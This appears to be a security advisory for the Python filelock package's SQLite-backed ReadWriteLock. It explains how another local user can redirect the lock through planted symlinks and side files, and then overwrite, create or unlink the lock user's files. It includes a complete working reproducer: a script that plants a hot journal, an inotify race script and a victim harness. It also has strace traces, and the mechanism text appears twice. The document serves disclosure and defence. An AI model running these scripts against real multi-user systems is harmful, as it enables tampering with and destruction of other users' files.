On Linux the lock opens the database with O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls sqlite3.connect("/proc/self/fd/<n>") and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs readlink() on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows readlink("/proc/534/fd/3") = "/tmp/benign/app.lock.db" and then a second openat of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is <database> (deleted). A symlink with that exact name sends SQLite wherever its creator chose.

The other user prepares the directory before the lock user runs. They create a database cache.lock.db (0666, so the lock user's lock accepts it) with a second hard link cache.lock.db.keep, and the symlink cache.lock.db (deleted) -> /tmp/victim-notes.txt. The lock user's os.open raises an inotify IN_OPEN event. The other user unlinks cache.lock.db and links cache.lock.db.keep back under the same name. The lock user's descriptor still refers to the unlinked entry, so /proc/self/fd/3 now reads /tmp/shared-cache/cache.lock.db (deleted). sqlite3.connect resolves it, follows the symlink and opens the target O_RDWR|O_CREAT. None of filelock's checks look at that file. _open_lock_database and _raise_if_wal inspect descriptor 3. _raise_if_database_replaced compares an lstat of the lock path with the descriptor's (st_dev, st_ino), which passes because the other user linked the same inode back, and it runs only after BEGIN.

The damage comes from the first statement, PRAGMA journal_mode=MEMORY. SQLite finds <target>-journal, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):

openat("/tmp/shared-cache/cache.lock.db", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3
readlink("/proc/3819/fd/3", "/tmp/shared-cache/cache.lock.db (deleted)", 4096) = 41
readlink("/tmp/shared-cache/cache.lock.db (deleted)", "/tmp/victim-notes.txt", 4096) = 21
openat("/tmp/victim-notes.txt", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4
openat("/tmp/victim-notes.txt-journal", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5
pread64(5, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 516) = 4096
pwrite64(4, "ATTACKER CONTENT WRITTEN BY THE "..., 4096, 0) = 4096
unlink("/tmp/victim-notes.txt-journal") = -1 EPERM            -> "disk I/O error"

The redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with O_CREAT. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, 0644, owned by the lock user) and raised nothing. With the symlink pointing at a 0600 WAL-mode SQLite database of the lock user, write_lock() returned without error and the database's header bytes 18 and 19 changed from 2 2 to 1 1. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.

Side-file names beside the database. Two comments record the belief that SQLite names its side files after the descriptor path (line 63, line 1095). The path is not synthetic to SQLite. It derives <database>-journal, <database>-wal and <database>-shm from the resolved real path in the shared directory. journal_mode=MEMORY governs only journals SQLite would write, not ones it finds. These variants need no redirect.

A hot -journal makes the lock user unlink a file the journal names; no race. The other user unlinks the lock user's empty lock.db, puts a one-page SQLite database (0666) in its place, and writes a 46-byte lock.db-journal: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a "super-journal", and recovery ends by unlinking that file. The lock user's next read_lock() or write_lock() returns without error and the named file is gone (unlink("/home/victim/private/notes.txt") = 0, from a 0700 directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as lock.db-journal instead blocks read_lock(timeout=2) in SQLite's open() of the journal (still blocked when killed after 10 s).

A re-planted -wal puts the holder in WAL mode past _raise_if_wal. _raise_if_wal checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats <db>-wal, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks -wal and -shm. The BEGIN at line 833 is a separate statement that starts unlocked and stats <db>-wal again. Re-creating the 32-byte -wal in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.

The lock user's with lock.write_lock(): then holds the -shm byte-120 WAL write lock and only SHARED on the database. Once the other user removes the -wal, a second process of the lock user gets read_lock(timeout=1) granted while the writer is inside its block, with no exception on either side. SQLite also creates <db>-shm with the database's permission bits (0666) and keeps it mapped into memory. After the other user truncates it, the writer dies with SIGBUS (the signal for touching a mapped file region that no longer exists) in connection.rollback() during release().

A -wal in a sticky directory makes every acquire raise; no race, no access to the database. Beside the lock user's own empty 0600 database, a non-empty <db>-wal (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a 1777 directory the lock user cannot unlink another user's file (unlink(...) = -1 EPERM), so the pragma fails with SQLITE_IOERR_DELETE. The code in _do_acquire_inner translates only "database is locked" into Timeout. sqlite3.OperationalError: disk I/O error therefore leaves every acquire_read() / acquire_write() (and the async variants) within milliseconds, whatever timeout or blocking says, until the file's owner or root removes it.

Further effects observed at this commit in a non-sticky directory. A 0755 script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises file is not a database). A hard link to the lock user's 0600 ~/.profile at the lock path does the same in a sticky /tmp when fs.protected_hardlinks=0. When the locking process runs as root, SQLite runs fchown on a -wal or -shm it opens to match the owner of the database, so root's 0600 service.env renamed to app.lock.db-wal belonged to the other user after root's read_lock().

A journal whose super-journal names the database itself makes SQLite open and close a second descriptor on the database, which drops the process's POSIX locks, so acquire_read returns with no lock held in /proc/locks and a writer in another process acquires (two journals in a row, one per statement; write locks are not affected). A one-byte lock.db-wal plus a lock.db-shm on which the other user holds two byte locks makes the acquire take 10 s regardless of timeout and raise locking protocol, or die with SIGBUS if the other user truncates the -shm.

The hard-link route in a directory without the sticky bit. None of the above occurs on the _link_beside branch (macOS, Linux without /proc). There SQLite's main file is .filelock-…/lock.db in the connecting user's 0700 directory. That protection holds only where no other user can rename the .filelock-* entry itself, because 0700 protects the contents, not the entry in the parent. _link_beside checks the link once and returns a pathname, and every later use is by that name.

With /proc hidden in a 0777 directory, the other user staged a directory holding a hard link lock.db to a one-page database and a hot lock.db-journal. They held BEGIN EXCLUSIVE on the database so the lock user's first statement waited in the busy handler (SQLite's retry loop for a locked database), renamed the lock user's .filelock-* directory aside, renamed the staged directory onto its name and rolled back. SQLite got SHARED, found the journal under the swapped name and unlinked the file it named. The lock user's process reported the lock held and exited 0. A polling variant without the write lock also won (in 40 trials the file was gone after 1 to 26 starts of the lock user's program). Under the sticky bit the rename fails with EPERM.

Reproduction

The scanner's reproducer for ANT-2026-KMJ2575J, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

as_victim = {"user": "victim", "group": "victim", "extra_groups": []}
as_attacker = {"user": "attacker", "group": "attacker", "extra_groups": []}

# set up: the lock database lives in a shared cache directory, 0777 and not sticky
shared_dir = "/tmp/shared-cache"
lock_db = shared_dir + "/cache.lock.db"
shutil.rmtree(shared_dir, ignore_errors=True)
os.mkdir(shared_dir)
os.chmod(shared_dir, 0o777)

# set up: a private 0600 file of the victim's in sticky /tmp, which the attacker cannot write
target = "/tmp/victim-notes.txt"
for leftover in (target, target + "-journal"):
    if os.path.lexists(leftover):
        os.unlink(leftover)
original = b"original victim notes\n"
with open(target, "wb") as notes:
    notes.write(original)
shutil.chown(target, "victim", "victim")
os.chmod(target, 0o600)
direct_write = subprocess.run(
    [sys.executable, "-c", "import sys; open(sys.argv[1], 'r+b')", target], capture_output=True, text=True, **as_attacker
)
print("attacker opening the target for writing:", direct_write.stderr.strip().splitlines()[-1])
assert direct_write.returncode != 0

# attack: a hot journal beside the target, and a redirect of the victim's SQLite from the lock database to the target
content = "ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n"
subprocess.run([sys.executable, "/tmp/repro.d/plant_hot_journal.py", target, content], check=True, **as_attacker)
redirect = subprocess.Popen(
    [sys.executable, "/tmp/repro.d/redirect_lock_db.py", lock_db, target], stdout=subprocess.PIPE, text=True, **as_attacker
)
assert redirect.stdout.readline() == "ready\n"

# the victim takes its read lock; the attacker races each acquire, so the victim runs up to 20 times
for run in range(1, 21):
    victim = subprocess.run(
        [sys.executable, "/tmp/repro.d/victim_app.py", lock_db], capture_output=True, text=True, timeout=60, **as_victim
    )
    with open(target, "rb") as notes:
        after = notes.read()
    if after != original:
        break
redirect.kill()
redirect.wait()

# check: taking a lock on cache.lock.db must leave the victim's notes alone
print(f"victim run {run}: exit status {victim.returncode}:", (victim.stderr.strip() or "no error").splitlines()[-1])
status = os.stat(target)
print("target owner, mode, size:", status.st_uid, oct(status.st_mode & 0o7777), status.st_size)
print("target before:", original)
print("target after: ", after[:60])
print("BUG" if after == content.encode().ljust(4096, b"\0") else "OK")

repro.d/plant_hot_journal.py

#!/usr/bin/env python3
"""The attacker: leave a rollback journal beside TARGET whose one record restores TARGET's first page to CONTENT."""

import os
import struct
import sys

target, content = sys.argv[1], sys.argv[2].encode()
journal_path = target + "-journal"

# https://www.sqlite.org/fileformat2.html#the_rollback_journal
JOURNAL_MAGIC = bytes.fromhex("d9d505f920a163d7")
page_size, sector_size, nonce = 4096, 512, 0x11223344
record_count = 1
pages_after_rollback = 1  # SQLite truncates TARGET to this many pages
header = JOURNAL_MAGIC + struct.pack(">IIIII", record_count, nonce, pages_after_rollback, sector_size, page_size)

page_number = 1  # page 1 starts at offset 0
page_image = content.ljust(page_size, b"\0")
# SQLite's pager_cksum(): the nonce plus every 200th byte, counting down from page_size - 200
checksum = (nonce + sum(page_image[i] for i in range(page_size - 200, 0, -200))) & 0xFFFFFFFF
record = struct.pack(">I", page_number) + page_image + struct.pack(">I", checksum)

with open(journal_path, "wb") as journal:
    journal.write(header.ljust(sector_size, b"\0") + record)
os.chmod(journal_path, 0o666)  # the victim's SQLite opens a hot journal O_RDWR

repro.d/redirect_lock_db.py

#!/usr/bin/env python3
"""The attacker: make the victim's SQLite, connecting through /proc/self/fd/<n>, open TARGET instead of LOCK_DB."""

import ctypes
import os
import sys

lock_db, target = sys.argv[1], sys.argv[2]
spare_name = lock_db + ".keep"

# the attacker creates the lock database, world-writable so that the victim's ReadWriteLock accepts it
os.close(os.open(lock_db, os.O_CREAT | os.O_WRONLY))
os.chmod(lock_db, 0o666)
os.link(lock_db, spare_name)

# what /proc/<pid>/fd/<n> reads back as once the name the descriptor was opened through is unlinked
os.symlink(target, lock_db + " (deleted)")

IN_OPEN = 0x20
libc = ctypes.CDLL(None, use_errno=True)
inotify = libc.inotify_init1(0)
if libc.inotify_add_watch(inotify, lock_db.encode(), IN_OPEN) < 0:
    raise OSError(ctypes.get_errno(), "inotify_add_watch", lock_db)
print("ready", flush=True)

while True:
    os.read(inotify, 4096)  # the victim's ReadWriteLock has opened the database and is validating its descriptor
    os.unlink(lock_db)
    os.link(spare_name, lock_db)  # the same inode back at the path, so filelock's later lstat sees no change

repro.d/victim_app.py

#!/usr/bin/env python3
"""The victim: an application that takes its shared read lock once, as in docs/how-to.rst."""

import sys

from filelock import ReadWriteLock

rw = ReadWriteLock(sys.argv[1])
with rw.read_lock(timeout=5):
    pass

Attack sequence

The redirect, with A the other local user:

sequenceDiagram
    participant A as other local user
    participant V as lock user's process (filelock)
    participant S as SQLite inside that process
    participant K as kernel and filesystem
    rect rgb(255, 214, 214)
        Note over A,K: filelock 4.0.9 to 4.2.0 on Linux, lock directory 0777 without the sticky bit
        A->>K: create cache.lock.db (0666) and a second hard link cache.lock.db.keep
        A->>K: symlink "cache.lock.db (deleted)" pointing at /tmp/victim-notes.txt
        A->>K: write /tmp/victim-notes.txt-journal (hot rollback journal, one page record)
        V->>K: open(cache.lock.db, O_RDWR O_CREAT O_NOFOLLOW) gives fd 3, fstat says regular, header not WAL
        K-->>A: inotify IN_OPEN on cache.lock.db
        A->>K: unlink(cache.lock.db) then link(cache.lock.db.keep, cache.lock.db)
        V->>S: sqlite3.connect("/proc/self/fd/3")
        S->>K: readlink(/proc/self/fd/3) returns "cache.lock.db (deleted)"
        S->>K: open("cache.lock.db (deleted)") follows the symlink to victim-notes.txt
        V->>S: PRAGMA journal_mode=MEMORY
        S->>K: open(victim-notes.txt-journal), pread page 1, pwrite it at offset 0 of victim-notes.txt
        Note over V,K: victim-notes.txt (0600, 22 bytes) is now the other user's 4096-byte page image, the lock user sees "disk I/O error"
        V->>K: lstat(cache.lock.db) matches fd 3 identity, so _raise_if_database_replaced passes
    end

The side-file variants, which need no redirect:

flowchart TD
    B0["acquire validates fd, connects SQLite by a name in the shared directory"] --> B1{"what did the other user put beside the real path?"}
    B1 -- "hot -journal beside a swapped-in one-page database" --> B2["PRAGMA replays the journal, then unlinks the super-journal file it names, acquire succeeds"]
    B1 -- "-wal re-created between PRAGMA and BEGIN" --> B3["holder in WAL mode, reader admitted beside the writer, SIGBUS when -shm is truncated"]
    B1 -- "-wal in a sticky directory the lock user cannot unlink" --> B4["every acquire raises OperationalError disk I/O error, timeout ignored"]
    B1 -- "name unlinked and a (deleted) symlink planted" --> B5["SQLite opens the symlink target with O_CREAT"]
    classDef ok fill:#d8f3dc,stroke:#2d6a4f,color:#1b4332;
    classDef bad fill:#ffd6d6,stroke:#c1121f,color:#5c0000;
    classDef info fill:#cfe4ff,stroke:#1f6feb,color:#0b1f3a;
    class B0,B1 info;
    class B2,B3,B4,B5 bad;

Evidence

The scanner's reproducer runs the documented ReadWriteLock(path) + with rw.read_lock(timeout=5): as user victim against /tmp/shared-cache/cache.lock.db (directory 0777, not sticky) while user attacker holds the symlink and reacts to inotify. It first shows that attacker cannot write the target (PermissionError: [Errno 13] Permission denied: '/tmp/victim-notes.txt'). On the first victim run it prints victim run 1: exit status 1: sqlite3.OperationalError: disk I/O error, target owner, mode, size: 1000 0o600 4096, target before b'original victim notes\n', after b"ATTACKER CONTENT WRITTEN BY THE VICTIM'S ReadWriteLock\n\x00...", verdict BUG. Reacting to inotify redirected the first acquire in 77 of 77 runs. A plain unlink/link busy loop with no inotify also won on the first run. A process holding two ReadWriteLock instances on one database keeps an idle descriptor; a swap done a full second before the second acquire redirected it. The -wal re-plant landed on the first attempt in 20 of 20 runs. The journal-unlink variant needs no race.

Our verification: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #834 head it prints OK: all 20 victim runs exit 0 with no error and the target stays 1000 0o600 22 bytes with its original content. The independent review also ran the sticky-directory -wal variant (a 0600 database owned by victim in a 1777 directory, other user plants <db>-wal). 4.2.0 raises OperationalError: disk I/O error; the PR head takes read and write locks with the file still present.

Impact

Another local user who can write the non-sticky directory holding the database makes the lock user's process act on a file other than the lock database, with the lock user's privileges, on Linux. The process writes bytes of the other user's choosing from offset 0 into any non-empty regular file the lock user can write, resized to a whole number of pages, provided the other user can create <file>-journal beside it (the lock user's own 0600 files in /tmp qualify). Without a journal the process creates an empty file at any path it may create, or converts a WAL-mode SQLite database of its own to rollback mode with no error. A journal beside a swapped-in database makes the process unlink one regular file of the other user's choosing per journal; the acquire succeeds and raises nothing. A process inside write_lock() stops excluding the lock user's other processes from read_lock(), and the holder can die from a SIGBUS that arrives in release().

It is not reachable for a database the lock user owns in /tmp with fs.protected_regular 1 or 2. There only the planted -wal denial of service remains: every acquire raises an undocumented sqlite3.OperationalError that Timeout and OSError handlers do not catch. It is a bypass of the fix for GHSA-j8f7-rjxc-mr56 (4.0.9), which refused the symlink at the database path but followed it at <database> (deleted). Windows does not take this path.

Workarounds

  • Keep the ReadWriteLock database in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share one ReadWriteLock database between accounts through a 0777 or group-writable directory. The lock creates its database 0600, and leaving it that way keeps other accounts from supplying its content.
  • For a lock in a sticky directory keep fs.protected_regular at 1 or 2 and fs.protected_hardlinks=1 (distribution defaults). Treat a sudden sqlite3.OperationalError: disk I/O error on every acquire as a foreign <db>-wal beside the database that the file's owner or root has to remove.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/834

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

  • 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273)
  • 2026-10-16 00:46 UTC: draft advisory created
  • 2026-10-16 01:15 UTC: fix PR #834 opened
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.20.4"
            },
            {
              "fixed": "4.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-112940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-363",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-23T21:59:08Z",
    "nvd_published_at": "2026-10-20T15:17:16Z",
    "severity": "HIGH"
  },
  "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/\u003cn\u003e`, a Linux path that names the process\u0027s own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite\u0027s side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file\u0027s owner remove or rename it). That other user can make the lock user\u0027s ordinary `read_lock()` or `write_lock()` write bytes of the other user\u0027s choosing into the lock user\u0027s own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user\u0027s privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic\u0027s OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user\u0027s own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database\u0027s directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user\u0027s lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `\u003cdb\u003e-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel\u0027s own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user\u0027s file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock\u0027s directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/\u003cn\u003e` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descriptor paths reopen the validated inode\" (an inode is the kernel\u0027s identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).\n\n## Introduced\n\nThe `/proc/self/fd` redirect came with `4d45e83` (\"Merge commit from fork\", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\"), first released in **3.20.4** (verified), which passed the lock path straight to `sqlite3.connect`.\n\n## Mechanism\n\nOn Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect(\"/proc/self/fd/\u003cn\u003e\")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink(\"/proc/534/fd/3\") = \"/tmp/benign/app.lock.db\"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is `\u003cdatabase\u003e (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.\n\nThe other user prepares the directory before the lock user runs. They create a database `cache.lock.db` (`0666`, so the lock user\u0027s lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -\u003e /tmp/victim-notes.txt`. The lock user\u0027s `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user\u0027s descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock\u0027s checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor\u0027s `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.\n\nThe damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `\u003ctarget\u003e-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user\u0027s. Strace of the lock user\u0027s process (SQLite 3.40.1):\n\n```\nopenat(\"/tmp/shared-cache/cache.lock.db\", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3\nreadlink(\"/proc/3819/fd/3\", \"/tmp/shared-cache/cache.lock.db (deleted)\", 4096) = 41\nreadlink(\"/tmp/shared-cache/cache.lock.db (deleted)\", \"/tmp/victim-notes.txt\", 4096) = 21\nopenat(\"/tmp/victim-notes.txt\", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4\nopenat(\"/tmp/victim-notes.txt-journal\", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5\npread64(5, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 516) = 4096\npwrite64(4, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 0) = 4096\nunlink(\"/tmp/victim-notes.txt-journal\") = -1 EPERM            -\u003e \"disk I/O error\"\n```\n\nThe redirect itself needs no journal. The constructor\u0027s validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user\u0027s home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database\u0027s header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user\u0027s database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.\n\n**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `\u003cdatabase\u003e-journal`, `\u003cdatabase\u003e-wal` and `\u003cdatabase\u003e-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.\n\n*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user\u0027s empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite\u0027s journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a \"super-journal\", and recovery ends by unlinking that file. The lock user\u0027s next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink(\"/home/victim/private/notes.txt\") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite\u0027s `open()` of the journal (still blocked when killed after 10 s).\n\n*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `\u003cdb\u003e-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `\u003cdb\u003e-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.\n\nThe lock user\u0027s `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `\u003cdb\u003e-shm` with the database\u0027s permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.\n\n*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user\u0027s own empty `0600` database, a non-empty `\u003cdb\u003e-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user\u0027s file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only \"database is locked\" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file\u0027s owner or root removes it.\n\n*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user\u0027s bytes (the acquire raises `file is not a database`). A hard link to the lock user\u0027s `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root\u0027s `0600` `service.env` renamed to `app.lock.db-wal` belonged to the other user after 